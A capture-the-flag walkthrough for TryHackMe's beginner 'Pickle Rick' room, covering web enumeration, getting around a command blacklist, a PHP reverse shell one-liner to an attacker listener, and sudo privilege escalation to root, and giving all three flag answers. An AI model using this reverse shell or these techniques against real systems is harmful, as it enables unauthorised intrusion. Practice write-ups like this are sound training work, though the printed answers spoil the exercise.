TryHackMe: Pickle Rick CTF Walkthrough
Pickle Rick is an entertaining, Rick and Morty-themed room on TryHackMe designed for beginners. The challenge requires exploiting a web server to retrieve three secret ingredients to help Rick turn back into a human.
In this walkthrough, we will cover reconnaissance, web enumeration, bypassing a command blacklist, obtaining a reverse shell, and performing straightforward privilege escalation.
Room Overview
- Target IP:
10.114.178.244 - Goal: Find all 3 ingredients (flags)
- Difficulty: Easy
Step 1: Reconnaissance & Enumeration
We start by opening the target website in a browser at http://10.114.178.244. Inspecting the page source code reveals an interesting HTML comment:
We now have a potential username: R1ckRul3s.
Next, we run directory discovery using gobuster to find hidden endpoints and files:
gobuster dir -u 10.114.178.244 -w /usr/share/wordlists/dirb/common.txt -x '.php,.txt'
The scan identifies two interesting resources:
/robots.txt/login.php
Checking http://10.114.178.244/robots.txt presents a single line of text:
Wubbalubbadubdub
Step 2: Initial Access & Command Injection
Navigating to http://10.114.178.244/login.php, we find a portal login interface. Using the credentials discovered earlier:
- Username:
R1ckRul3s - Password:
Wubbalubbadubdub
We successfully authenticate and are greeted with a Command Panel.
Testing command execution with ls displays the files in the current directory:
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.php
login.php
portal.php
robots.txt
Trying to read the first ingredient directly with cat Sup3rS3cretPickl3Ingred.txt returns an error:
Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
Finding Ingredient #1
Because the directory listing reveals index.php and robots.txt, we know the command panel executes commands directly inside the webroot. Instead of bypassing the filter immediately, we can view the file directly through the browser at http://10.114.178.244/Sup3rS3cretPickl3Ingred.txt.
First Ingredient:
mr. meeseek hair
Step 3: Filter Analysis & Reverse Shell
To craft an effective exploit and reverse shell payload, we need to know exactly how commands are restricted. We can bypass the cat restriction and inspect portal.php by encoding it using strings and base64:
strings portal.php | base64
Decoding the base64 string on our local machine reveals the filter mechanism:
echo "PD9wa ... Ww+Cg==" | base64 -d
The blacklist blocks common text viewers (cat, head, more, tail, nano, vim, vi), but does not restrict executing interactive shells or interpreters like Python or PHP.
Spawning a Reverse Shell
For the listener, we use nc:
nc -lnvp 1234
In the Command Panel, we send a PHP one-liner reverse shell to our listener IP (10.114.126.131 on port 1234):
php -r '$sock=fsockopen("10.114.126.131",1234);exec("sh <&3 >&3 2>&3");'
Finding Ingredient #2
With shell access as www-data, we check user directories:
cd /home/rick/
ls -la
cat 'second ingredients'
Second Ingredient:
1 jerry tear
Step 4: Privilege Escalation
We check for sudo permissions available to the www-data user:
sudo -l
Output:
User www-data may run the following commands on ip-10-114-178-244:
(ALL) NOPASSWD: ALL
The user www-data has full root permissions without requiring a password. We escalate directly to root:
sudo su
Finding Ingredient #3
As root, we navigate to the /root directory and grab the final ingredient:
cd /root
ls
cat 3rd.txt
Third Ingredient:
fleeb juice
Conclusion
Pickle Rick is a great practice box for fundamental CTF skills:
- Always check page source comments and
robots.txt. - Inspect source files to understand command blacklists instead of guessing.
- Don't forget standard misconfigurations like overly permissive
sudoersrules.